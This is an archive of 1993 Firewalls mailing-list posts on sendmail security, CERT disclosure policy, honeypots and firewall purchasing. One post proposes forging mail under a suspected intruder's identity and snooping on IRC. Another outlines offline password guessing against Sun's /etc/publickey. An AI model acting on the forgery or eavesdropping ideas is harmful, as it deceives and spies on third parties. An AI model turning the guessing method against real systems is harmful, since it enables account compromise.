X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ] Then we may as well just shut down the NSFnet. Who _doesn't_ have concerns ] about security? "We" don't have to.. the NSF -IS- as of 2q94. Course, I always thought that if you expose private info or cycles that you didn't want someone else to use, that you kept it off a public net. My private stuff is on a DOS PC w/o any external access. --- bill manning third assistant vice-president schenectady consolidated nail-file & eyebrow tweezer corporation From Firewalls-Owner Tue Oct 26 03:57:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02160; Tue, 26 Oct 93 03:57:47 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02151; Mon, 25 Oct 93 20:57:35 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA25661; Tue, 26 Oct 93 00:01:29 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for Firewalls@greatcircle.com; Tue, 26 Oct 93 00:01:28 EDT Received: via switchmail; Tue, 26 Oct 1993 00:01:26 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 00:00:13 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 00:00:11 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Tue, 26 Oct 1993 00:00:10 -0400 (EDT) Message-Id: Date: Tue, 26 Oct 1993 00:00:10 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com, brian@lloyd.com (Brian Lloyd) Subject: Re: smail vs. sendmail In-Reply-To: References: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Excerpts from mail: > Seems to be lots of heat but not a lot of light. > Sendmail has always been a big unknown WRT security. So there is YASSB > (yet another sendmail security bug). Ho hum, nothing new. Well, if > sendmail is such a pain, what about other mailers? How about smail? MMDF? > Something new and much simpler? I would be really interested in hearing > about the security issues surrounding these packages. There's a growing ideology, though perhaps not very popular yet in this group, that system security is not nearly as important as the concept of data protection. In the OSF DCE model, user data is stored on secure servers and protected by kerberos authentication methods. Most user and application-server hosts run "dataless", meaning that user data isn't stored on the local file system, but accessed remotely on a distributed file system through authenticated requests to a matrix of servers. Such a high degree of security can be built into data authentication methods that system software security on host machines becomes almost expendable. In an extreme case, MIT's Project Athena runs an extensive, distributed collection of UNIX hosts where a common root password is generally known by the user community. If a user's host machine is fouled, the system image can be restored easily without fear of compromising user data. High redundancy is built into server systems so that single entry points and single points of failure are eliminated. We run a distributed mail system, developed at CMU, known as the Andrew Message Delivery System (AMDS). I belive this system is very robust, and far superior in the security aspect to any of the commonly used UNIX or PC-based mail systems. AMDS is based of AFS, a distributed file system that OSF has adopted as model on which to base the DCE Distributed File System (DFS). Unfortunately, DCE is too imature to have developed a mail appliaion of its own yet, but I look forward to seeing one in the not so distant future. Bob Distributed Systems Section Division of Computer Research and Technology National Institutes of Health From Firewalls-Owner Tue Oct 26 04:25:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02378; Tue, 26 Oct 93 04:25:10 GMT Received: from blackplague.gmu.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01925; Mon, 25 Oct 93 20:02:34 PDT Received: by blackplague.gmu.edu (NX5.67d/NX3.0M) id AA01019; Mon, 25 Oct 93 23:07:34 -0400 From: Mark Message-Id: <9310260307.AA01019@blackplague.gmu.edu> Subject: Re: In-Security mailing lists? To: weave@hopi.dtcc.edu (Ken Weaverling) Date: Mon, 25 Oct 1993 23:07:32 -0400 (EDT) Cc: koblas@netcom.com, firewalls@greatcircle.com In-Reply-To: from "Ken Weaverling" at Oct 25, 93 06:10:10 pm X-Mailer: ELM [version 2.4 PL2] Content-Type: text Content-Length: 1199 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >> So with all this discussion going on, about security and CERT etc. >> Does know of any good cracking mailing lists that I could subscribe to There is one or two, though there is a lot of the old-boy network in the underground as well. Im not really in a position to ask for applications to the security list as yet but when people get their act up and running that might change. >You might want to also get the sources for IRC and frequent it as well. >Some cracking info is traded on there ... usually on private channels. >Just study the sources and find out how to eavesdrop on these private >channels. >Ken Weaverling weave@dtcc.edu Dont waste your time. To do anything like that you'd have to run a server plus be on the channel anyway so essentially it's impossible to listen in. Messages arent broadcast, rather they go via the direct route to the channel occupants. You cant sit out there on the fringe and watch. Plus hacked servers get noticed really fast and their links are dropped. IRC is a good information dissemination tool, most of the actives use it to keep up to date. It's also a good tracking tool as well if you want to look at it from another side. Mark From Firewalls-Owner Mon Oct 25 21:36:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02280; Tue, 26 Oct 93 04:18:47 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02271; Mon, 25 Oct 93 21:18:41 PDT Message-Id: <9310260418.AA02271@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Re: A short dialogue In-Reply-To: Your message of Mon, 25 Oct 93 21:36:19 EDT Date: Mon, 25 Oct 1993 21:18:39 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tom Fitzgerald writes: # > Have you stopped to consider that maybe what's wrong is that your # > site, with your security concerns, shouldn't be on the Internet in the # > first place? # # Then we may as well just shut down the NSFnet. Who _doesn't_ have concerns # about security? I didn't mean to suggest that they shouldn't be on the Internet. I asked if they had _considered_ whether or not it was appropriate, given their security concerns and the current state of technology and the Internet. I see a lot of sites these days rushing head-long to get on the Internet without understanding what they're getting in to. Usually they haven't done their homework, and have no concept of the potential downsides of being on the Internet. Email and NetNews and FTP and archie and WAIS and Gopher and WWW are all extremely useful, but you've _got_ to understand the whole picture of what you're buying into. Getting on the Internet, and then whining "Oh my God, there are _crackers_ here!!!" is kind of stupid. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Tue Oct 26 05:49:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02753; Tue, 26 Oct 93 05:49:34 GMT Received: from blackplague.gmu.edu ([129.174.14.60]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02745; Mon, 25 Oct 93 22:49:26 PDT Received: by blackplague.gmu.edu (NX5.67d/NX3.0M) id AA01741; Tue, 26 Oct 93 01:54:52 -0400 From: Mark Message-Id: <9310260554.AA01741@blackplague.gmu.edu> Subject: Guess who's bored... To: firewalls@greatcircle.com Date: Tue, 26 Oct 1993 01:54:51 -0400 (EDT) X-Mailer: ELM [version 2.4 PL2] Content-Type: text Content-Length: 896 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Some light entertainment.. not entirely unrelated to this list but some of you would know that :) Buddy your a dude, make a big noise playing in the streams, gonna be a god some day you got data on your screen, you big disgrace kickiing their asses all over the place singing.. WE WILL, WE WILL GROK YOU WE WILL, WE WILL GROK YOU Buddy your a quick man, slick man cracking in the stream, gonna take over the world some day you got a smile on your face, big disgrace catting your banner all over the place WE WILL, WE WILL GROK YOU singing WE WILL, WE WILL GROK YOU buddy your an fast man, quiet man, playing with your script, gonna make you root some day you got mud on your site, big disgrace somebody better go secure their disk space. WE WILL, WE WILL GROK YOU singing WE WILL, WE WILL GROK YOU everybody WE WILL, WE WILL GROK YOU WE WILL, WE WILL GROK YOU flames to cert@cert.org. Mark From Firewalls-Owner Tue Oct 26 07:36:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03074; Tue, 26 Oct 93 07:36:02 GMT Received: from apache.dtcc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03066; Tue, 26 Oct 93 00:35:45 PDT Received: by apache.dtcc.edu (5.4.2/5.40/1.0) id AA13389; Tue, 26 Oct 1993 03:39:06 -0400 Date: Tue, 26 Oct 1993 02:53:12 -0400 (EDT) From: Ken Weaverling Subject: Going beyond firewalls To: Firewalls List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk This list is about firewalls, basically keeping the bad guys out. But what if they get in? To consider an analogy, building security operates on different levels. 1) Prevention 2) Detection 3) Identification First level is to prevent a break-in, via perimeter alarms for example. This would be the firewalls that we are all familiar with. But even the best efforts at prevention aren't always effective, therefore you need detection of break-ins as well. Most companies hire a small army of underpaid security guards to sit around, monitor TV cameras, walk around looking for problems, etc. So why can't companies with a lot to loose on their corporate networks do the same? In addition, why not be as tricky with the crackers as they are with you? Use some of their tricks to trip them up. Many computer science college students would probably love a 'security guard' assignment. Just let them look out for fishy activity, and have various alarms and monitors set to warn them as well. Hide yourself. Edit utmp and other traces of your identity so it doesn't look like you are logged in. True, they can use ps to find you, but if they finger or ruser you from outside (OK, for those of us that still have these services available), they won't see you logged in. On the flip-side, kill -9 the process that spawned your shell when you leave (eg, telnetd) so that you will remain in the utmp file to spook those taking a quick peek) Plant trojans. What does a cracker do when he logs in? Run ps probably. Make ps a trojan that examines its args. Simple ps's can pass, but if someone is listing all the processes on the system, you may want to send a warning to the 'security guard' on duty before letting it pass. Hack cc in the normal search path to sound a warning if someone uses it. Then tell your normal programmers to use the real cc somewhere else. Hack the source to your systems' main shell program. Have it examine commands against a list of commands that user usually uses and commands to watch for. If a user all of a sudden starts to execute commands they never did in the past, raise a warning flag somewhere. Write a fake daemon shell called something like 'sysmonitor' or something like that and just let it sit on your system doing nothing except some gratuitous action periodically just to let the CPU time increment. It'll drive a bad guy nuts trying to figure out what it is. Better yet, open a tcp port to something and let it accept a connection, then report the connection to your 'security guard' -- ie, some idiot will telnet to it and type a HELP command to see what it is. Take some of those old IBM classic 5150 PCs and throw an old 3C501 enet card into it. Install a few into your DMZ zone and make them look interesting with host names like development or something. Then have a PC program open up some common ports and listen, like telnet, ftp, SMTP. No legit user should use those machines, so if it gets a connection, send an alarm somewhere. None of these little booby-trap things are hard to defeat, but if they are unpredictable and numerous, a cracker is bound to trip one or two. And if they notice a system littered with bobby-traps, they will not know for sure if they've found them all and get very spooked and hopefully leave you alone. After detection, you have to work on identification. Now this is tough, of course, but usually you can at least trace a connection back to some host. Try and learn all you can about your little intruder and then go about discrediting him/her. Get an account on a public access internet site somewhere with an alias. Use that site to conduct investigations into who is cracking your system. If you find out an identity, even if it is not a real one, then start doing 'get back' things like forging mail to other crackers using this guys identity and do things to discredit him amongst his peers. These are just some ideas that have popped into my head at 3:30 AM when I should be sleeping! I am far from an expert in these things, especially since I work in a very unsecure environment. I'll let the list decide if these (probably not new) ideas have any merit. BTW, I got a few hate mail messages when I suggested in an earlier message about eavesdropping on IRC. Amazing. True, it is pretty unethical as I think about it, but it makes me chuckle if these people think their conversations are private. True nosey people don't advertise what they are doing. I don't really know IRC very well, but last time I had to run a packet analyzer on my backbone, I noticed those IRC message packets were in very clear text with a complete message line per packet (no need to assemble them), so I am sure they are snooped quite a lot... Ken Weaverling weave@dtcc.edu Manager of Computer Services Stanton/Wilmington Campuses of Delaware Technical & Community College From Firewalls-Owner Tue Oct 26 02:06:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03369; Tue, 26 Oct 93 09:01:11 GMT Received: from soda.berkeley.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03361; Tue, 26 Oct 93 02:01:03 PDT Received: by soda.berkeley.edu (5.65/KAOS-1) id AA00127; Tue, 26 Oct 93 02:04:58 -0700 Received: from localhost.dis.org by merde.dis.org (4.1/SMI-4.2) id AA17486; Tue, 26 Oct 93 02:03:41 PDT Message-Id: <9310260903.AA17486@merde.dis.org> To: Firewalls@greatcircle.com Subject: In-Security mailing lists? Phone: (510) 849-2230 Snail-Address: 2560 Bancroft way #51;Berkeley CA 94704-1700 In-Reply-To: Your message of Mon, 25 Oct 1993 14:54:40 -0500. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 26 Oct 1993 02:03:40 -0700 From: Peter shipley Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have belonged to may security mailing lists (some I allowed to name and some I and not; some legit [for "good guys"] and some for cracker ["bad guys"]). In every case the starts then dies cause for every person willing to open up and give there two cents there are fifty or a hundred who are there but will not talk; eventually those who are "open" get tired to going out of their way and move on. and the list dies. If there are sufficient people here willing to form a new list I am willing to sponsor it on my home system. -Pete From Firewalls-Owner Tue Oct 26 09:44:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03546; Tue, 26 Oct 93 09:44:07 GMT Received: from post.demon.co.uk by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03538; Tue, 26 Oct 93 02:43:54 PDT Received: from demon.demon.co.uk by post.demon.co.uk id aa10074; 26 Oct 93 9:44 GMT Received: from cellnet.uucp by demon.demon.co.uk id aa04883; 26 Oct 93 9:44 GMT From: Steve Kennedy Message-Id: <20565.9310261032@marvin.gbnet.org> Subject: sendmail ... NOT To: greatcircle.com!firewalls@gbnet.org Date: Tue, 26 Oct 93 10:32:13 GMT X-Subliminal-Message: Send large quantities of used bills. X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi all, the company I work for a looking at getting net connected via a firewall system. What is a recommended host/set-up for a firewall. As this is a large'ish company we will require it to be a supported solution from whatever manufacturer supplies it. We are heavily into Cisco (and Synoptics versions of such). We also tend to use HP, Sun or DEC platforms (no preference). Any ideas ??? NOTE: We are in the UK. Thanks Steve p.s. We have a couple of Cisco 7000's lying around - maybe they would make a good firewall ? Well the're not quite lying around - but they don't work very well (Spanning Tree problems when bridging enabled) ... -- ___ |_ ___ ___ Tel: +44 (0)71 483 1169 Voice (___ | (___) \ / (___) Data: 483 2454 WorldBlazer T3000 PEP+/v32bis... ___) | (___ \/ (___ Data: 483 2455 WorldBlazer T3000 V32bis/PEP+... ISDN: 722 7969/70 Email Snail Mail steve@gbnet.{org,com,net} [home] Steve Kennedy steve@marvin.demon.co.uk [DIS dialup internet] Flat 2, 43 Howitt Rd stevek@cellnet.co.uk [work] London, NW3 4LU From Firewalls-Owner Tue Oct 26 11:14:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03782; Tue, 26 Oct 93 11:14:56 GMT Received: from photon.poly.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03774; Tue, 26 Oct 93 04:14:47 PDT Received: by photon.poly.edu (5.65/1.34) id AA29915; Tue, 26 Oct 93 07:19:50 -0400 Date: Tue, 26 Oct 1993 07:10:27 -0400 (EDT) From: Paul Mayerowitz Subject: Re: Going beyond firewalls To: Ken Weaverling Cc: Firewalls List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Most companies hire a small army of underpaid security guards to sit > around, monitor TV cameras, walk around looking for problems, etc. So why > can't companies with a lot to loose on their corporate networks do the It would be interesting to compare the costs spent on a physical security force versus data security. A typical guard force with 24 hour shift coverage with only five posts would require a force of 30 personnel, inclusive of management, at a cost of $1 million-$1.25 million, inclusive of benefits. Add on to that a CCTV installation, alarm sensors & other toys and maintenance contracrts and you might have another $200-300 thousand. Total cost anywhere between 1.5-1.75 million. Does anyone spend that much on data security? That buys an awful lot of top flight talent. From Firewalls-Owner Tue Oct 26 11:46:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03888; Tue, 26 Oct 93 11:46:33 GMT Received: from d.ecc.engr.uky.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03880; Tue, 26 Oct 93 04:46:26 PDT Received: from s.ecc.engr.uky.edu by d.ecc.engr.uky.edu (5.59/25-eef) id AA15188; Tue, 26 Oct 93 07:11:05 EDT Received: by s.ecc.engr.uky.edu (4.1/SMI-4.1) id AA18232; Tue, 26 Oct 93 07:45:48 EDT Date: Tue, 26 Oct 93 07:45:48 EDT From: morgan@engr.uky.edu (Wes Morgan) Message-Id: <9310261145.AA18232@s.ecc.engr.uky.edu> To: firewalls@greatcircle.com Subject: Re: CERT and 'need-to-know' Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >YES! THIS is exactly the key problem here. Even if I know who you >are, I'm not going to tell you the details of a security-sensitive >bug, because I don't know how you're going to use the information. This is what peeves me off the most. I've been in this shop for over 3 years now, and I *still* hear this kind of crud when I ask for more information. I get it from CERT, I get it from Usenet; now I'm get- ting it here. What the heck must one do to establish bona fides? I sure as heck don't have the time to write papers, this university won't spend the money to get me to conferences, and I don't have time to write packages like Tripwire or COPS. I'm just an admin, tripping along to keep things running, and I can't get key information. It's pretty danged annoying to be working my butt off in a multiplatform environment, only to be told (repeatedly) that I'm not trustworthy enough when stuff like this comes up... What's going to happen in a few months, when (hopefully) we're approved for our own Class B network? Will seeing my name in the NIC tables as Technical or Administrative Contact suddenly verify my 'need to know'? What's it going to take? --Wes From Firewalls-Owner Tue Oct 26 12:29:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03961; Tue, 26 Oct 93 12:29:20 GMT Received: from svin01.win.tue.nl by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA03953; Tue, 26 Oct 93 05:29:12 PDT Received: from wzv.win.tue.nl by svin01.win.tue.nl (4.1/1.45) id AA26041; Tue, 26 Oct 93 13:32:33 +0100 Received: by wzv.win.tue.nl (4.1/1.45) id AA20737; Tue, 26 Oct 93 13:18:15 +0100 Date: Tue, 26 Oct 93 13:18:15 +0100 From: wietse@wzv.win.tue.nl (Wietse Venema) Message-Id: <9310261218.AA20737@wzv.win.tue.nl> To: firewalls@greatcircle.com Subject: Sun sendmail bug, some facts Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A month or so ago when I heard of a "new" Sun sendmail bug I ran some tests on an isolated network. The bug was triggered by sending mail to the program mailer (*); the information logged to the syslogd was too revealing to warrant tests on a real production network. It is a very serious bug, and it is impossible to give a test procedure without giving away the whole show. Please do not ask me for details. - the bug was *not* in the *unpatched* SunOS 4.1.1 sparc sendmail. - the bug was in present the *patched* SunOS 4.1.1 one. - the bug was present in the *unpatched* SunOS 5.2 one. Conclusion: this bug was introduced at or near the time when sendmail was patched for some other problem. All this does not prove that the bug is unique to Sun software; it is just very unlikely that vendors collectively make the same mistake at the same time. Wietse (*) In sendmail.cf, replacing /bin/sh by /bin/false should plug it. From Firewalls-Owner Tue Oct 26 13:29:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04041; Tue, 26 Oct 93 13:29:13 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04033; Tue, 26 Oct 93 06:29:06 PDT Message-Id: <9310261329.AA04033@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Tue Oct 26 09:32:12 EDT 1993 To: firewalls@greatcircle.com Subject: password-guessing, yet again Date: Tue, 26 Oct 93 09:32:11 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I just saw a paper that pointed out a new way to do password-guessing on Suns. If the site uses secure NFS, then /etc/publickey has private- public key pairs, with the private key encrypted by the user's login password. And this file is publicly readable. So you guess at a password, encrypt a message with the public key, and try decrypting it with the decrypted private key. Repeat as needed... The paper is @article{Gong93, author = Li Gong and Mark A. Lomas and Roger M. Needham and Jerome H. Saltzer}, title = {Protecting Poorly Chosen Secrets from Guessing Attacks}, journal = {{IEEE} Journal on Selected Areas in Communications}, volume = 11, number = 5, month = {June}, year = 1993, pages = {648--656} } It's a cryptographic protocol paper, not a systems implementation paper. (And their criticisms of the competing protocol Michael Merritt and I did are just plain wrong...) --Steve Bellovin From Firewalls-Owner Tue Oct 26 13:31:22 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04071; Tue, 26 Oct 93 13:31:22 GMT Received: from netcom.netcom.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04063; Tue, 26 Oct 93 06:31:15 PDT Received: from netcom6.netcom.com by netcom.netcom.com (5.65/SMI-4.1/Netcom) id AA10146; Tue, 26 Oct 93 06:35:39 -0700 X-Nupop-Charset: English Date: Tue, 26 Oct 1993 09:35:45 -0400 (EDT) From: "Pat Farrell" Reply-To: pfarrell@netcom.com Message-Id: <34548.pfarrell@netcom.com> To: mjr@TIS.COM, firewalls@GreatCircle.com Subject: Re: CERT and information Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Sorry to be so far off list, but In message Mon, 25 Oct 93 17:15:20 -0400, mjr@TIS.COM writes: > This is what PEM and PGP, etc are supposed to give you. > > The issue isn't one of mechanism, it's one of policy. Agreed. If you look at the usual PGP keyservers, you'll see a number of mumble@cert.org (or whatever the CERT address is) that were in heavy use in the fall of 1992. Rumour has it that folks (both CERT and users) were very happy to use PGP rather than the cumbersome identification process that they needed in pre-Public Key days. But once PKP/RSA started rattling swords about the legality of PGP in the US, the policy at CERT changed. I received a couple of obnoxious messages to stop distributing keys of CERT staff. So I stopped, 'cause they weren't my keys. But they sure were public keys, and they still are floating arroung the net. Perhaps once ViaCrypt starts selling their legal version of PGP all this paranoia can rest. I hope so. (I don't have any faith that PEM will ever see light of day, given the Clinton Administration's love of the Clipper/Skipjack fiasco.) And now back to your regular programming... Pat Pat Farrell Grad Student pfarrell@netcom.com Department of Computer Science George Mason University, Fairfax, VA Public key availble via finger #include From Firewalls-Owner Tue Oct 26 13:36:19 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04090; Tue, 26 Oct 93 13:36:19 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04082; Tue, 26 Oct 93 06:36:11 PDT Received: by relay.tis.com; id AA21546; Tue, 26 Oct 93 09:37:41 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma021535; Tue Oct 26 09:36:40 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA09670; Tue, 26 Oct 93 09:39:05 EDT Received: by otter.TIS.COM (5.65/otter) id AA09265; Tue, 26 Oct 93 09:39:04 -0400 From: mjr@TIS.COM Date: Tue, 26 Oct 93 09:39:04 -0400 Message-Id: <9265.9310261339@otter.TIS.COM> To: pmayerow@photon.poly.edu, weave@apache.dtcc.edu Subject: Re: Going beyond firewalls Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Does anyone spend that much on data security? That buys an awful lot of >top flight talent. You're kidding, right? I can't tell you how many times I've heard variations on this song: (sung in a minor key) "We're deeply concerned about security, what, oh, what should we do? But we have no budget, or even staff time, and our security guy was laid off, too." "So, please, we'd like you to tell us, how to solve our security blues, as long as it costs not a penny, and causes no changes in how the system is used." Security's pretty intangible. It's less obviously painful than lack of disk space, or an insufficiently powerful CPU. If a systems manager maintains a secure system, then nobody ever realizes she's doing a great job. The government spends money on data security for their installations that have important/classified data. Major banks and firms do. They understand security and risk assessment in general because they're used to dealing with humanity's little foibles. In a sense, computer security is just an extension of your CCTV system and all the guards, etc. mjr. From Firewalls-Owner Tue Oct 26 14:04:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04239; Tue, 26 Oct 93 14:04:23 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04230; Tue, 26 Oct 93 07:04:10 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA15000 for ; Tue, 26 Oct 93 09:58:43 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA24742; Tue, 26 Oct 93 09:05:45 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA02482; Tue, 26 Oct 93 09:05:44 EDT Message-Id: <9310261305.AA02482@lorax.imsi.com> To: wietse@wzv.win.tue.nl (Wietse Venema) Cc: firewalls@greatcircle.com Subject: Re: Sun sendmail bug, some facts In-Reply-To: Your message of "Tue, 26 Oct 1993 13:18:15 BST." <9310261218.AA20737@wzv.win.tue.nl> Reply-To: rens@imsi.com Date: Tue, 26 Oct 1993 09:05:44 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Tue, 26 Oct 93 13:18:15 +0100, wietse@wzv.win.tue.nl (Wietse Venema) said: wietse> A month or so ago when I heard of a "new" Sun sendmail bug I wietse> ran some tests on an isolated network. The bug was triggered wietse> by sending mail to the program mailer (*); the information wietse> logged to the syslogd was too revealing to warrant tests on wietse> a real production network. So what's the bug? wietse> It is a very serious bug, and it is impossible to give a wietse> test procedure without giving away the whole show. Please do wietse> not ask me for details. Is this just being posted as flame-bait?? Hey! there's a security hole in UNIX! -Rens From Firewalls-Owner Tue Oct 26 14:15:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04311; Tue, 26 Oct 93 14:15:40 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04303; Tue, 26 Oct 93 07:15:29 PDT Received: by relay.tis.com; id AA22065; Tue, 26 Oct 93 10:16:59 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma022062; Tue Oct 26 10:16:05 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA12145; Tue, 26 Oct 93 10:18:29 EDT Received: by otter.TIS.COM (5.65/otter) id AA09316; Tue, 26 Oct 93 10:18:28 -0400 From: mjr@TIS.COM Date: Tue, 26 Oct 93 10:18:28 -0400 Message-Id: <9316.9310261418@otter.TIS.COM> To: Firewalls@GreatCircle.COM, brian@lloyd.com, rdew@alw.nih.gov Subject: Re: smail vs. sendmail Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >There's a growing ideology, though perhaps not very popular yet in this >group, that system security is not nearly as important as the concept of >data protection. I think it's a great idea. Unfortunately, it does have some problems. I suspect (hope!) you won't see the big financial organizations going that route in the near future. For security critical data, you *HAVE* to trust the system you're on, or you're lunchmeat. >In the OSF DCE model, user data is stored on secure servers and >protected by kerberos authentication methods. Most user and >application-server hosts run "dataless", meaning that user data isn't >stored on the local file system, but accessed remotely on a distributed >file system through authenticated requests to a matrix of servers. In the type of configuration described, your workstation is basically a very smart terminal connected to a virtual mainframe. Kerberos is terrific for authentication over a network where you don't want to exchange passwords in the clear, but if I've tapped your version of "klogin" or "kpasswd" or your tty driver -- then I now have your password and can perform financial transactions as you. Sure, you can reload your O/S from scratch whenever you walk up to the workstation, but are you going to remember to do that every time? The problem with the "workstation as a smart terminal" model of computing is that it's a *VERY* smart terminal. It can monitor your sessions and mail them to me. It can monitor your transactions and replay them. It can do all manner of wickedness, even if it is "dataless." It it's "dataless" in the Athena model, then I may even be able to use my client machine to exploit some of the transitive nature of your distributed filesystem to crack your file server. >Such a high degree of security can be built into data authentication >methods that system software security on host machines becomes almost >expendable. In an extreme case, MIT's Project Athena runs an extensive, >distributed collection of UNIX hosts where a common root password is >generally known by the user community. If a user's host machine is >fouled, the system image can be restored easily without fear of >compromising user data. It's important to note here that this model only works if you are dealing with data where your security concern is to prevent the modification of data, not its disclosure. Unless encryption is enthusiastically employed (a good thing) all those other users with "root" on the workstation can read potentially sensitive information. mjr. From Firewalls-Owner Tue Oct 26 14:35:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04381; Tue, 26 Oct 93 14:35:27 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04373; Tue, 26 Oct 93 07:35:17 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id KAA00358; Tue, 26 Oct 1993 10:39:04 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA06084; Tue, 26 Oct 93 10:38:33 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA19817; Tue, 26 Oct 93 10:38:33 EDT Message-Id: <9310261438.AA19817@snark.lehman.com> To: erikb@tic.com (Chris Goggans) Cc: firewalls@greatcircle.com Subject: Re: CERT, Bugs, & Paranoia In-Reply-To: Your message of "Mon, 25 Oct 1993 12:41:44 CDT." <9310251741.AA15496@akasha.tic.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Tue, 26 Oct 1993 10:38:32 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Chris Goggans says: > Those unsatisfied with the services provided by CERT are certainly > understandable, and I would suggest you contact them immediately > and ask for a full refund. Considering the amount of tax dollars spent on this, I believe thats exactly what I'm going to do -- I'm going to my office of corporate council and going to see if I can get our lobbyists to try to get their funding pulled. I suggest other dissatisfied customers at large companies do the same. Just because CERT does not charge does not mean it is free -- it is an expensive operation paid for with money taken from you and your company, and you DO deserve good service. Perry PS this obviously only reflects my personal opinions and not those of Lehman Brothers. From Firewalls-Owner Tue Oct 26 14:47:09 1993 